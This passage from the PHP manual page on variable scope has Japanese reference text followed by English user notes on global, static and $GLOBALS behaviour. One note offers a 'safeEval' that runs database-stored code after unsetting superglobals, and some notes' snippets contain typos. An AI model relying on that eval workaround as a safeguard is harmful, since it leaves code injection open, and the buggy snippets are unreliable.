Although if global was used, it creates a pointer to a varible, whether it existed or not, and makes whatever is created in the function linked to that global pointer. So if the pointer was global $varible, and then you set a value to $varible, it would then be accessible in the global scope. But then what if you later on in the script redefine that global to equal something else. This means that whatever is put into the global array, the information that is set in the pointer, can be set at any point (overiden). Here is an example that might make this a little clearer:

function fn1() {

   global $varible; // Pointer to the global array
   $varible = "something";
}

fn1();
echo $varible; // Prints something
$varible = "12345";
echo $varible; // Prints 12345

function fn2() {

   global $varible; // Pointer to the global array
   echo $varible;
}

fn2(); // echos $varible which contains "12345"

Basically when accessing the global array, you can set it refer to something already defined or set it to something, (a pointer) such as varible you plan to create in the function, and later possibly over ride the pointer with something else.
Good Liam 19-Mar-2003 09:18
Warning:
If you use dynamic variables in a local scope, the variable doesn't "know" when it should be a superglobal.  An example will help elucidate this:

function Example($Variable_Name='_POST') {
    print_r($$Variable_Name);
} // End Example

This would print out

NULL

To use a dynamic variable to reference a superglobal, you have to declare the value (not the name) as a global:

function WorkingExample($Variable_Name='_POST') {
    global $$Variable_Name;
    print_r($$Variable_Name);
} // End WorkingExample()

This would print out the contents of your $_POST variable.

This threw me when I first tried it, but it makes sense, in a way.
lopez dot on dot the dot lists at yellowspace dot net 17-Jan-2003 06:11
- Security Issue and workaround -
If You use "eval()" to execute code stored in a database or elsewhere, you might find this tip useful.

Issue:
By default, all superglobals are known in every function.
Thus, if you eval database- or dynamically generated code (let's call it "potentially unsafe code"), it can use _all_ the values stored in _any_ superglobal.

Workaround:
Whenever you want to hide superglobals from use in evaluated code, wrap that eval() in an own function within which you unset() all the superglobals. The superglobals are not deleted by php in all scopes - just within that function. eg:

function safeEval($evalcode) {
    unset($GLOBALS);
    unset($_ENV);
    // unset any other superglobal...
    return eval($evalcode);
}

(This example assumes that the eval returns something with 'return')

In addition, by defining such a function outside classes, in the global scope, you'll make sure as well that the evaluated ('unsafe') code doesn't have access to the object variables ($this-> ...).
08-Jul-2002 01:46
Wouldn't it be great if there was a variable called $_SERVER["PATH_USERHOME"]. Here is how to set it yourself:

$path_fs = split ("/", ltrim ($_SERVER["PATH_TRANSLATED"], "/"));
$path_fs_rev = array_reverse ($path_fs);

$path_http = split ("/", ltrim ($_SERVER["PHP_SELF"], "/"));
$path_http_rev = array_reverse ($path_http);

$num_same = 0;
while ($path_fs_rev[$num_same] == $path_http_rev[$num_same]) {
    $num_same++;
}

$path_userhome = array ();
$numdirs_userhome = sizeof ($path_http) - $num_same;
echo $numdirs_userhome;

for ($i = 0; $i < $numdirs_userhome; $i++) {
    array_push ($path_userhome, $path_http[$i]);
}

$_SERVER["PATH_USERHOME"] = "/" . implode ("/", $path_userhome) . "/";

print_r ($_SERVER["PATH_USERHOME"]);

;) Happy programming,

Peder
mike at dbeat dot com 22-Nov-2000 06:30
If you're running PHP as a shell script, and you want to use the argv and argc arrays to get command-line arguments, make sure you have register_argc_argv  =  on.  If you're using the 'optimized' php.ini, this defaults to off.


変数のスコープ

変数のスコープは、その変数が定義されたコンテキストです。ほとんどの PHP 変数は、スコープを1つだけ有しています。このスコープの範囲は、 includeやrequireにより読みこまれたファイルも含みます。例えば、

<?php
$a = 1;
include 'b.inc';
?>

この例で、変数$aはインクルードされた b.inc スクリプトの中でも利用可能です。しかし、 ユーザー定義の関数の中では変数の有効範囲はローカル関数の中となりま す。関数の中で使用された変数はデフォルトで有効範囲が関数内部に制限 されます。例えば、

<?php
$a = 1; /* グローバルスコープ */

function test()
{
    echo $a; /* ローカルスコープ変数の参照 */
}

test();
?>

このスクリプトは、出力を全く行いません。これは、echo 命令がローカ ル版の $a 変数を参照しているにもかかわらず、こ のスコープでは値が代入されていないからです。この動作は、特にローカ ルな定義で上書きしない限りグローバル変数が自動的に関数で使用可能で ある C 言語と少々異なっていると気がつかれるかもしれません。C言語の ような場合、グローバル変数を不注意で変更してしまうという問題を生じ る可能性があります。PHP では、グローバル変数は、関数の内部で使用す る場合、関数の内部でグローバルとして宣言する必要があります。

global キーワード

まず、globalの使用例を示します。

例1 global の使用

<?php
$a = 1;
$b = 2;

function Sum()
{
    global $a, $b;

    $b = $a + $b;
}

Sum();
echo $b;
?>

上のスクリプトは、3 を出力します。関数の内部で $a、$b をグローバル宣言を行うことにより、両変数への参照は、グローバル変数 の方を参照することになります。ある関数により操作できるグローバル変 数の数は無制限です。

グローバルスコープから変数をアクセスする2番目の方法は、PHPが定義す る配列$GLOBALSを使用することです。先の例は、次 のように書き換えることができます。

例2 globalのかわりに$GLOBALSを使用する

<?php
$a = 1;
$b = 2;

function Sum()
{
    $GLOBALS['b'] = $GLOBALS['a'] + $GLOBALS['b'];
}

Sum();
echo $b;
?>

配列$GLOBALSは連想配列であり、グローバル変数の 名前がキー、その変数の内容が配列要素の値となっています。 $GLOBALS は スーパーグローバル であるため、$GLOBALSは全てのスコープに存在します。 以下にスーパーグローバルの効果を示す例を示します。

例3 スーパーグローバルとスコープの例

<?php
function test_superglobal()
{
    echo $_POST['name'];
}
?>

注意:

global キーワードを関数の外部で使ってもエラーにはなりません。 そのファイルが関数の内部からインクルードされたときに使うことができます。

静的変数の使用

変数のスコープに関する別の重要な機能は、静的 (static) 変数です。静的変数はローカル関数スコープのみに 存在しますが、プログラム実行がこのスコープの外で行われるようになっ てもその値を失わないません。次の例を見てください。

例4 静的変数が必要な場面の例

<?php
function test()
{
    $a = 0;
    echo $a;
    $a++;
}
?>

この関数は、コールされる度に$aを 0にセットし、0 を出力するのでほとん ど役にたちません。変数を1増やす $a++ は、関数から外に出ると変数 $aが消えてしまうために目的を達成しません。現在 のカウントの追跡ができるようにカウント関数を使用できるようにするた めには、変数$aをstaticとして宣言します。

例5 静的変数の使用例

<?php
function test()
{
    static $a = 0;
    echo $a;
    $a++;
}
?>

こうすると、$a は関数が最初にコールされたときにのみ初期化され、 test() 関数がコールされるたびに $a の値を出力してその値を増加させます。

static変数は、再帰関数を実現する1つの手段としても使用されます。再帰 関数は、自分自身をコールする関数です。再帰関数を書くときには、無限 に再帰を行う可能性があるため、注意する必要があります。適当な方法に より再帰を確実に終了させる必要があります。次の簡単な関数は、中止す るタイミングを知るためにstatic変数$countを用いて、 10 回まで再帰を行います。

例6 再帰関数での静的変数の使用

<?php
function test()
{
    static $count = 0;

    $count++;
    echo $count;
    if ($count < 10) {
        test();
    }
    $count--;
}
?>

静的変数には、定数式の結果としての値を代入できますが、 関数呼び出しのような動的な式の結果を代入すると、パースエラーになります。

例7 静的変数の宣言

<?php
function foo(){
    static $int = 0;          // 正しい
    static $int = 1+2;        // 正しい
    static $int = sqrt(121);  // 間違い（関数を使っています）

    $int++;
    echo $int;
}
?>

注意:

静的な宣言は、コンパイル時に解決されます。

グローバル変数と静的変数のリファレンス

PHP は、 リファレンス 変数の修正子として static および global を実装しています。 例えば、関数スコープ内にglobal 命令により実際にインポートされた真のグローバル変数は、 実際にグローバル変数へのリファレンスを作成します。 これにより、以下の例が示すように予測できない動作を引き起こす可能性 があります。

<?php
function test_global_ref() {
    global $obj;
    $new = new stdclass;
    $obj = &$new;
}

function test_global_noref() {
    global $obj;
    $new = new stdclass;
    $obj = $new;
}

test_global_ref();
var_dump($obj);
test_global_noref();
var_dump($obj);
?>

上の例の出力は以下となります。

NULL
object(stdClass)#1 (0) {
}

類似の動作がstatic命令にも適用されます。 リファレンスは静的に保存することができません。

<?php
function &get_instance_ref() {
    static $obj;

    echo 'Static object: ';
    var_dump($obj);
    if (!isset($obj)) {
        $new = new stdclass;
        // Assign a reference to the static variable
        $obj = &$new;
    }
    if (!isset($obj->property)) {
        $obj->property = 1;
    } else {
        $obj->property++;
    }
    return $obj;
}

function &get_instance_noref() {
    static $obj;

    echo 'Static object: ';
    var_dump($obj);
    if (!isset($obj)) {
        $new = new stdclass;
        // Assign the object to the static variable
        $obj = $new;
    }
    if (!isset($obj->property)) {
        $obj->property = 1;
    } else {
        $obj->property++;
    }
    return $obj;
}

$obj1 = get_instance_ref();
$still_obj1 = get_instance_ref();
echo "\n";
$obj2 = get_instance_noref();
$still_obj2 = get_instance_noref();
?>

この例を実行すると以下の出力となります。

Static object: NULL
Static object: NULL

Static object: NULL
Static object: object(stdClass)#3 (1) {
  ["property"]=>
  int(1)
}
+

この例は、static変数にリファレンスを代入した時に &get_instance_ref()関数を2回目に コールした際に保持されていないことを示しています。

User Contributed Notes

atesin () 6m4i1 ! c0m 08-Mar-2021 03:07
i hadn't found info on this so i had to make some tests...

inside a function, when globalling a variable that doesn't exist in the parent scope, it will set to null... i mean...

<?php

function f()
{
  global $g;
  var_dump($g); // prints 'NULL' with no log message, means if $g is unset globally then here IS SET to NULL (*)
  var_dump($l); // prints 'NULL' and logs the 'undefined variable l' notice in this line

  // (*) notice until the variable $g IS SET to null here, isset($g) will still return false
  //     because for isset() the var has to be set and not null (see doc for details)...
  //     maybe the only way to find if a variable is actually unset is throught the log warnings
}

var_dump($g); // prints 'NULL' and logs the 'undefined variable g' in this line
var_dump($g); // same as above but in this line, means the variable is still unset
f();

?>

.
knowing this could be useful in a case like mine... consider something like this...

<?php

//--- account.php ---

$user = 'john doe';

//--- main.php ---

function welcome()
{
  global $user;
  echo "welcome $user"; // if $user is not set in parent scope it just prints "welcome "

  // the right way afaik
  if ( isset($user) )
    echo "welcome $user";
}

if ( login_ok() )
  incude 'account.php';

welcome();

?>
Duke dot Bouvier at NOPSAM dot Gmail dot com 11-Feb-2021 11:20
The recursion example has some excess code:

"$count--" is superfluous.
"$count++" can be built into the loop (but be sure to use pre-increment not a post-incremenet

Thus:

<?php
function test()
{
    static $count = 1;

    echo $count." ";

    if (++$count < 10) {
        test();
    }
}
?>

Though with a static, all you are really doing is creating a loop but with lots of function calls pushed onto the stack.

A great things about recursive functions is that you don't actually have to have any static data.  You simply supply an argument to pass the value (and can use a default value for the argument for your initialisation if desired.)

<?php
function test($count = 1)
{
    echo $count." ";

    if ($count < 10) {
        test(++$count);
    }

}
test()
?>
jtunaley at gmail dot com 20-Dec-2020 10:52
It's worth noting that block statements without a control structure also don't affect variable scope.

<?php
{
    $a = 4;
}
echo $a; // Outputs "4"
ketansheladiya1 24-Feb-2020 04:54
As per PHP standards
The new operator returns a reference automatically, so assigning the result of new by reference is not allowed as of PHP 7.0.0, results in an E_DEPRECATED message as of PHP 5.3.0, and an E_STRICT message in earlier versions.
https://www.php.net/manual/en/language.operators.assignment.php

so you can use following code to check

<?php
function &get_instance_ref() {
    static $obj;

    echo 'Static object: ';
    var_dump($obj);
    if (!isset($obj)) {
        // Assign a reference to the static variable
        $obj = new stdclass;
    }
    $obj->property++;
    return $obj;
}

function &get_instance_noref() {
    static $obj;

    echo 'Static object: ';
    var_dump($obj);
    if (!isset($obj)) {
        // Assign the object to the static variable
        $obj = new stdclass;
    }
    $obj->property++;
    return $obj;
}

$obj1 = get_instance_ref();
$still_obj1 = get_instance_ref();
echo "\n";
$obj2 = get_instance_noref();
$still_obj2 = get_instance_noref();
?>
iphstich at gmail dot com 12-Feb-2020 04:32
It seems that static variables defined within a class method or static function are stored separately for the class and each extended class of it.

It's sort of like, every time you extend a class, functions with static variables are re-writen, and the static variable re-created. Even if the function is defined as final!

<?php

class A {
    function x () { static $x = 0; return ++$x; }
    static function y () { static $y = 0; return ++$y; }
    final static function z () { static $z = 0; return ++$z; }
}

class B extends A { }
class C extends B { }

// As methods, A and B have different values for x
$a = new A();
echo $a->x(); // 1
$b = new B();
echo $b->x(); // 1
echo $b->x(); // 2

// And different instances of C will have the same values for x
$c1 = new C();
$c2 = new C();
$c3 = new C();
echo $c1->x(); // 1
echo $c2->x(); // 2
echo $c3->x(); // 3

// The same behavior applies to static functions
echo A::y(); // 1
echo B::y(); // 1
echo B::y(); // 2
echo C::y(); // 1
echo C::y(); // 2
echo C::y(); // 3

// The same behavior still applies to FINAL static functions
echo A::z(); // 1
echo B::z(); // 1
echo B::z(); // 2
echo C::z(); // 1
echo C::z(); // 2
echo C::z(); // 3
?>

Tested with version 7.0.13
shaman_master at list dot ru 22-Nov-2019 08:58
Cycle not create inner scope:
<?php
foreach (range(1, 3) as $step) {
    echo sprintf('%d: %s  ', $step, isset($a) ? 'yes' : 'no');
    if (! isset($a)) {
        $a = 1;
    }
}
// 1: no 2: yes 3: yes
?>
jake dot tunaley at berkeleyit dot com 07-Jan-2019 05:02
Beware of using $this in anonymous functions assigned to a static variable.

<?php
class Foo {
    public function bar() {
        static $anonymous = null;
        if ($anonymous === null) {
            // Expression is not allowed as static initializer workaround
            $anonymous = function () {
                return $this;
            };
        }
        return $anonymous();
    }
}

$a = new Foo();
$b = new Foo();
var_dump($a->bar() === $a); // True
var_dump($b->bar() === $a); // Also true
?>

In a static anonymous function, $this will be the value of whatever object instance that method was called on first.

To get the behaviour you're probably expecting, you need to pass the $this context into the function.

<?php
class Foo {
    public function bar() {
        static $anonymous = null;
        if ($anonymous === null) {
            // Expression is not allowed as static initializer workaround
            $anonymous = function (self $thisObj) {
                return $thisObj;
            };
        }
        return $anonymous($this);
    }
}

$a = new Foo();
$b = new Foo();
var_dump($a->bar() === $a); // True
var_dump($b->bar() === $a); // False
?>
Hayley Watson 18-Nov-2017 10:05
static variables are implicitly initialised to NULL if no explicit initialisation is made.

<?php
function foo()
{
  static $v;
  echo gettype($v);
}

foo();
?>

will echo NULL without complaining that $v is undefined.

In short: "static $v;" is equivalent to "static $v = null;".
Semyon Naitur 19-Jul-2017 09:12
function f(){
    global $a; // global $a is declared, local reference is created
    $a = 'a';  // global $a is set
    unset($a); // local reference is unset, global $a remains set
    $a = 'b';  // local $a is declared and set
}
f();
echo $a; // prints 'a'

function f(){
    global $a; // global $a is declared, local reference is created
    $a = 'a';  // global $a is set
    unset($a); // local reference $a is unset, global var $a remains set
    global $a; // local reference is created again
    $a .= 'b';
}
f();
echo $a; // prints 'ab'
dexen dot devries at gmail dot com 06-Mar-2017 03:54
If you have a static variable in a method of a class, all DIRECT instances of that class share that one static variable.

However if you create a derived class, all DIRECT instances of that derived class will share one, but DISTINCT, copy of that static variable in method.

To put it the other way around, a static variable in a method is bound to a class (not to instance). Each subclass has own copy of that variable, to be shared among its instances.

To put it yet another way around, when you create a derived class, it 'seems  to' create a copy of methods from the base class, and thusly create copy of the static variables in those methods.

Tested with PHP 7.0.16.

<?php

require 'libs.php';
require 'setup.php';

class Base {
    function test($delta = 0) {
        static $v = 0;
        $v += $delta;
        return $v;
    }
}

class Derived extends Base {}

$base1 = new Base();
$base2 = new Base();
$derived1 = new Derived();
$derived2 = new Derived();

$base1->test(3);
$base2->test(4);
$derived1->test(5);
$derived2->test(6);

var_dump([ $base1->test(), $base2->test(), $derived1->test(), $derived2->test() ]);

# => array(4) { [0]=> int(7) [1]=> int(7) [2]=> int(11) [3]=> int(11) }

# $base1 and $base2 share one copy of static variable $v
# derived1 and $derived2 share another copy of static variable $v
simon dot barotte at gmail dot com 03-Nov-2016 10:46
To be vigilant, unlike Java or C++, variables declared inside blocks such as loops (for, while,...) or if's, will also be recognized and accessible outside of the block, the only valid block is the BLOCK function so:

<?php
for($j=0; $j<5; $j++)
{
     if($j == 1){
        $a = 6;
     }
}

echo $a;
?>

Would print 6.
pogregoire##live.fr 19-Sep-2016 03:36
writing : global $var; is exactely the samething that writing : $var =& $GLOBALS['var'];
It creates a reference on $GLOBALS['var'];

<?php
$var =1;
function teste_global(){
    global $var;
    for ($var=0; $var<5; $var++){

    }
}

teste_global();
var_dump($var);// return : int(5).
?>
Ganlv 21-May-2016 04:50
<?php
$var = 1;
function foo() {
    $var = &$GLOBALS['var'];
    var_dump($var);
}
function bar() {
    global $var; // they are the same.
    var_dump($var);
}
foo();
bar();
var_dump($var);
?>

In a function, 'global $var;' is to declare a local variant, and the local $var has the same reference to the global $var.

<?php
$var = 1;
function foo() {
    global $var;
    unset($var);               // unset local $a, the global $a is still there.
    var_dump($var);            // Undefined variable: var
    var_dump($GLOBALS['var']); // this is ok.
}
foo();
var_dump($var);                // this is ok.
?>

<?php
$var = 1;
function bar() {
    global $var;
    unset($GLOBALS['var']);    // unset global $a, the local $a is still here.
    var_dump($var);            // this is ok.
    var_dump($GLOBALS['var']); // Undefined index: var
}
foo();
var_dump($var);                // Undefined variable: var
?>

'unset($var);' is like 'var = NULL;'(var is a pointer) in the C language, instead of 'free(var);'
gried at NOSPAM dot nsys dot by 16-Jan-2016 09:12
In fact all variables represent pointers that hold address of memory area with data that was assigned to this variable. When you assign some variable value by reference you in fact write address of source variable to recepient variable. Same happens when you declare some variable as global in function, it receives same address as global variable outside of function. If you consider forementioned explanation it's obvious that mixing usage of same variable declared with keyword global and via superglobal array at the same time is very bad idea. In some cases they can point to different memory areas, giving you headache. Consider code below:

<?php

error_reporting(E_ALL);

$GLOB = 0;

function test_references() {
    global $GLOB; // get reference to global variable using keyword global, at this point local variable $GLOB points to same address as global variable $GLOB
    $test = 1; // declare some local var
    $GLOBALS['GLOB'] = &$test; // make global variable reference to this local variable using superglobal array, at this point global variable $GLOB points to new memory address, same as local variable $test

    $GLOB = 2; // set new value to global variable via earlier set local representation, write to old address

    echo "Value of global variable (via local representation set by keyword global): $GLOB <hr>";
    // check global variable via local representation => 2 (OK, got value that was just written to it, cause old address was used to get value)

    echo "Value of global variable (via superglobal array GLOBALS): $GLOBALS[GLOB] <hr>";
    // check global variable using superglobal array => 1 (got value of local variable $test, new address was used)

    echo "Value ol local variable \$test: $test <hr>";
    // check local variable that was linked with global using superglobal array => 1 (its value was not affected)

    global $GLOB; // update reference to global variable using keyword global, at this point we update address that held in local variable $GLOB and it gets same address as local variable $test
    echo "Value of global variable (via updated local representation set by keyword global): $GLOB <hr>";
    // check global variable via local representation => 1 (also value of local variable $test, new address was used)
}

test_references();
echo "Value of global variable outside of function: $GLOB <hr>";
// check global variable outside function => 1 (equal to value of local variable $test from function, global variable also points to new address)
?>
nino dot skopac at gmail dot com 30-Sep-2015 08:01
Interesting behavior in PHP 5.6.12 and PHP 7 RC3:

<?php
class Foo {
    public function Bar() {
        static $var = 0;

        return ++$var;
    }
}

$Foo_instance = new Foo;

print $Foo_instance->Bar(); // prints 1
print PHP_EOL;

unset($Foo_instance);

$Foo_instance2 = new Foo;

print $Foo_instance2->Bar(); // prints 2
print PHP_EOL;
?>

How can a 2 be printed, since we unseted the whole instance before?

Consider a similar example:

<?php
class Foo {
    public static $var = 0;

    public static function Bar() {
        return ++self::$var;
    }
}

$Foo_instance = new Foo;

print $Foo_instance->Bar(); // prints 1
print PHP_EOL;

unset($Foo_instance);

$Foo_instance2 = new Foo;

print $Foo_instance2->Bar(); // prints 2
print PHP_EOL;
?>

No idea why is this happening.
zweibieren at yahoo dot com 12-May-2015 06:32
Take to heart this hard-won rule:
        Declare AT THE TOP any variable that is to be global.
        Both at the top of the FILE
        AND at the top of any FUNCTION where it appears.

Why AT THE TOP? So it is sure to be declared before use. Otherwise a non-global version of the variable will be created and your code will fail.

Why at the top of a FUNCTION? Because otherwise the function will refer only to its local version of the variable and your code will fail.

Why at the top of the FILE? Because someday--a day that you cannot now imagine--you will want to "include" the file. And when you do, instances of the variable outside functions will not go in the global scope and your code will fail. (When the "include" is inside a calling function, variables in the included file go into the scope of the calling function.)

Example file where variable $x is used outside and inside functions:
    |<!DOCTYPE html ...>
    |<html xmlns ...>
    |    <?php global $x; ?>
    |<head>
    |    Some html headers
    |    <?php
    |        $x = 1;
    |        function bump_x() {
    |            global $x;
    |            $x += 1;
    |        }
    |    ?>
    |</head>
    |<body>
    |    More html
    |    <?php echo $x; bump_x(); ?>
    |    Yet more html.
    |</body>
</html>
Jonathan Kenigson 16-Dec-2013 11:09
Just a note about static properties declared at class level:

class Test_Class {
  static $a = 0;
  public function ReturnVar(){
    return $this->a;
  }
  }
  $b = new Test_Class();
  echo $b->ReturnVar();

Will not output "0"  because $a is declared static. Changing "static" to "public" or "private" will produce the output "0".
Ray.Paseur often uses Gmail 06-Dec-2013 04:32
Variable "Visibility" in PHP Object Oriented Programming is documented here:
http://php.net/manual/en/language.oop5.visibility.php
Anonymous 04-Jul-2012 11:54
It will be obvious for most of you: changing value of a static in one instance changes value in all instances.

<?php

    class example {
        public static $s = 'unchanged';

        public function set() {
            $this::$s = 'changed';
        }
    }

    $o = new example;
    $p = new example;

    $o->set();

    print "$o static: {$o::$i}\n$p static: {$p::$i}";

?>

Output will be:

$o static: changed
$p static: changed
dodothedreamer at gmail dot com 25-Sep-2011 11:56
Note that unlike Java and C++, variables declared inside blocks such as loops or if's, will also be recognized and accessible outside of the block, so:
<?php
for($j=0; $j<3; $j++)
{
     if($j == 1)
        $a = 4;
}
echo $a;
?>

Would print 4.
php at keith tyler dot com 12-Nov-2010 10:37
Sometimes a variable available in global scope is not accessible via the 'global' keyword or the $GLOBALS superglobal array. I have not been able to replicate it in original code, but it occurs when a script is run under PHPUnit.

PHPUnit provides a variable "$filename" that reflects the name of the file loaded on its command line. This is available in global scope, but not in object scope. For example, the following phpUnit script (call it GlobalScope.php):

<?php
print "Global scope FILENAME [$filename]\n";
class MyTestClass extends PHPUnit_Framework_TestCase {
  function testMyTest() {
    global $filename;
    print "Method scope global FILENAME [$filename]\n";
    print "Method scope GLOBALS[FILENAME] [".$GLOBALS["filename"]."]\n";
  }
}
?>

If you run this script via "phpunit GlobalScope.php", you will get:

Global scope FILENAME [/home/ktyler/GlobalScope.php]
PHPUnit 3.4.5 by Sebastian Bergmann.

Method scope global FILENAME []
Method scope GLOBALS[FILENAME] []
.

You have to -- strange as it seems -- do the following:

<?php
$GLOBALS["filename"]=$filename;
print "Global scope FILENAME [$filename]\n";
class MyTestClass extends PHPUnit_Framework_TestCase {
  function testMyTest() {
    global $filename;
    print "Method scope global FILENAME [$filename]\n";
    print "Method scope GLOBALS[FILENAME] [".$GLOBALS["filename"]."]\n";
  }
}
?>

By doing this, both "global" and $GLOBALS work!

I don't know what it is that PHPUnit does (I know it uses Reflection) that causes a globally available variable to be implicitly unavailable via "global" or $GLOBALS. But there it is.
eduardo dot ferron at zeion dot net 07-Oct-2010 06:02
There're times when global variables comes in handy, like universal read only resources you just need to create once in your application and share to the rest of your scripts. But it may become quite hard to track with "variables".
pedro at worcel dot com 26-Jul-2010 06:34
Another way of working with a large ammount of global variables could be the following.

<?php

$var = "3";
$smarty = new Smarty();

function headers_set_404() {
extract($globals);

echo $var . "<br />";
print_r($smarty);

return;

}

?>

Regards,
Droope
HOSSEIN doesn&#39;t want spam at TAKI.IR 09-Jul-2010 12:26
Please note for using global variable in child functions:

This won't work correctly...

<?php
function foo(){
    $f_a = 'a';

    function bar(){
        global $f_a;
        echo '"f_a" in BAR is: ' . $f_a . '<br />';  // doesn't work, var is empty!
    }

    bar();
    echo '"f_a" in FOO is: ' . $f_a . '<br />';
}
?>

This will...

<?php
function foo(){
    global $f_a;   // <- Notice to this
    $f_a = 'a';

    function bar(){
        global $f_a;
        echo '"f_a" in BAR is: ' . $f_a . '<br />';  // work!, var is 'a'
    }

    bar();
    echo '"f_a" in FOO is: ' . $f_a . '<br />';
}
?>
jakub dot lopuszanski at nasza-klasa dot pl 24-Jun-2010 02:59
If you use __autoload function to load classes' definitons, beware that "static local variables are resolved at compile time" (whatever it really means) and the order in which autoloads occur may impact the semantic.

For example if you have:
<?php
class Singleton{
  static public function get_instance(){
     static $instance = null;
     if($instance === null){
        $instance = new static();
     }
     return $instance;
  }
}
?>

and two separate files A.php and B.php:
class A extends Singleton{}
class B extends A{}

then depending on the order in which you access those two classes, and consequently, the order in which __autoload includes them, you can get strange results of calling B::get_instance() and A::get_instance().

It seems that static local variables are alocated in as many copies as there are classes that inherit a method at the time of inclusion of parsing Singleton.
moraesdno at gmail dot com 25-Oct-2009 05:17
Use the superglobal array $GLOBALS is faster than the global keyword. See:

<?php
//Using the keyword global
$a=1;
$b=2;
function sum() {
    global $a, $b;
    $a += $b;
}

 $t = microtime(true);
 for($i=0; $i<1000; $i++) {
     sum();
 }
 echo microtime(true)-$t;
 echo " -- ".$a."<br>";

//Using the superglobal array
$a=1;
$b=2;
function sum2() {
    $GLOBALS['a'] += $GLOBALS['b'];
}

  $t = microtime(true);
 for($i=0; $i<1000; $i++) {
     sum2();
 }
 echo microtime(true)-$t;
 echo " -- ".$a."<br>";
?>
Stephen Dewey 12-Aug-2009 08:06
For nested functions:

This is probably obvious to most people, but global always refers to the variable in the global (top level) variable of that name, not just a variable in a higher-level scope. So this will not work:
<?php

// $var1 is not declared in the global scope

function a($var1){

    function b(){
        global $var1;
        echo $var1; // there is no var1 in the global scope so nothing to echo

    }

    b();
}

a('hello');

?>
andrew at planetubh dot com 03-Feb-2009 12:16
Took me longer than I expected to figure this out, and thought others might find it useful.

I created a function (safeinclude), which I use to include files; it does processing before the file is actually included (determine full path, check it exists, etc).

Problem: Because the include was occurring inside the function, all of the variables inside the included file were inheriting the variable scope of the function; since the included files may or may not require global variables that are declared else where, it creates a problem.

Most places (including here) seem to address this issue by something such as:
<?php
//declare this before include
global $myVar;
//or declare this inside the include file
$nowglobal = $GLOBALS['myVar'];
?>

But, to make this work in this situation (where a standard PHP file is included within a function, being called from another PHP script; where it is important to have access to whatever global variables there may be)... it is not practical to employ the above method for EVERY variable in every PHP file being included by 'safeinclude', nor is it practical to staticly name every possible variable in the "global $this" approach. (namely because the code is modulized, and 'safeinclude' is meant to be generic)

My solution: Thus, to make all my global variables available to the files included with my safeinclude function, I had to add the following code to my safeinclude function (before variables are used or file is included)

<?php
foreach ($GLOBALS as $key => $val) { global $$key; }
?>

Thus, complete code looks something like the following (very basic model):

<?php
function safeinclude($filename)
{
    //This line takes all the global variables, and sets their scope within the function:
    foreach ($GLOBALS as $key => $val) { global $$key; }
    /* Pre-Processing here: validate filename input, determine full path
        of file, check that file exists, etc. This is obviously not
        necessary, but steps I found useful. */
    if ($exists==true) { include("$file"); }
    return $exists;
}
?>

In the above, 'exists' & 'file' are determined in the pre-processing. File is the full server path to the file, and exists is set to true if the file exists. This basic model can be expanded of course.  In my own, I added additional optional parameters so that I can call safeinclude to see if a file exists without actually including it (to take advantage of my path/etc preprocessing, verses just calling the file exists function).

Pretty simple approach that I could not find anywhere online; only other approach I could find was using PHP's eval().
nullhility at gmail dot com 29-Jan-2009 07:17
Like functions, if you declare a variable in a class, then set it as global in that class, its value will not be retained outside of that class either.

<?php
class global_reference
{
    public $val;

    public function __construct () {
        global $var;
        $this->val = $var;
    }

    public function dump_it ()
    {
        debug_zval_dump($this->val);
    }

    public function type_cast ()
    {
        $this->val = (int) $this->val;
    }
}
$var = "x";
$obj = new global_reference();
$obj->dump_it();
$obj->type_cast();
echo "after change ";
$obj->dump_it();
echo "original $var\n";
?>

The work-around is of course changing the assignment in the constructor to a reference assignment as such:

<?php
    //....
        $this->val = &var;
    //....
?>

If the global you're setting is an object then no reference is necessary because of the way PHP deals with objects. If you don't want to reference to the same object however you can use the clone keyword.

<?php
//...
    global $Obj;
    $this->obj_copy = clone $Obj;
//...
?>

[EDIT BY danbrown AT php DOT net:  Merged all thoughts and notes by this author into a single note.]
ddarjany at yahoo dot com 19-Aug-2008 08:15
Note that if you declare a variable in a function, then set it as global in that function, its value will not be retained outside of that function.  This was tripping me up for a while so I thought it would be worth noting.

<?PHP

foo();
echo $a; // echoes nothing

bar();
echo $b; //echoes "b";

function foo() {
  $a = "a";
  global $a;
}

function bar() {
  global $b;
  $b = "b";
}

?>
Anonymous 01-Mar-2008 11:10
I was pondering a little something regarding caching classes within a function in order to prevent the need to initiate them multiple times and not clutter the caching function's class properties with more values.

I came here because I remembered something about references being lost. So I made a test to see if I could pull what I wanted to off anyway. Here's and example of how to get around the references lost issue. I hope it is helpful to someone else!

<?php
class test1{}
class test2{}
class test3{}

function cache( $class )
{
    static $loaders = array();

    $loaders[ $class ] = new $class();

    var_dump( $loaders );
}
print '<pre>';
cache( 'test1' );
cache( 'test2' );
cache( 'test3' );

?>
alan 12-Sep-2006 10:53
Using the global keyword inside a function to define a variable is essentially the same as passing the variable by reference as a parameter:

<?php
somefunction(){
   global $var;
}
?>

is the same as:

<?php
somefunction(& $a) {

}
?>

The advantage to using the keyword is if you have a long list of variables  needed by the function - you dont have to pass them every time you call the function.
larax at o2 dot pl 22-Mar-2006 03:38
About more complex situation using global variables..

Let's say we have two files:
a.php
<?php
    function a() {
        include("b.php");
    }
    a();
?>

b.php
<?php
    $b = "something";
    function b() {
        global $b;
        $b = "something new";
    }
    b();
    echo $b;
?>

You could expect that this script will return "something new" but no, it will return "something". To make it working properly, you must add global keyword in $b definition, in above example it will be:

global $b;
$b = "something";
warhog at warhog dot net 13-Dec-2005 12:22
Some interesting behavior (tested with PHP5), using the static-scope-keyword inside of class-methods.

<?php

class sample_class
{
  public function func_having_static_var($x = NULL)
  {
    static $var = 0;
    if ($x === NULL)
    { return $var; }
    $var = $x;
  }
}

$a = new sample_class();
$b = new sample_class();

echo $a->func_having_static_var()."\n";
echo $b->func_having_static_var()."\n";
// this will output (as expected):
//  0
//  0

$a->func_having_static_var(3);

echo $a->func_having_static_var()."\n";
echo $b->func_having_static_var()."\n";
// this will output:
//  3
//  3
// maybe you expected:
//  3
//  0

?>

One could expect "3 0" to be outputted, as you might think that $a->func_having_static_var(3); only alters the value of the static $var of the function "in" $a - but as the name says, these are class-methods. Having an object is just a collection of properties, the functions remain at the class. So if you declare a variable as static inside a function, it's static for the whole class and all of its instances, not for each object.

Maybe it's senseless to post that.. cause if you want to have the behaviour that I expected, you can simply use a variable of the object itself:

<?php
class sample_class
{ protected $var = 0;
  function func($x = NULL)
  { $this->var = $x; }
} ?>

I believe that all normal-thinking people would never even try to make this work with the static-keyword, for those who try (like me), this note maybe helpfull.
jameslee at cs dot nmt dot edu 16-Jun-2005 02:33
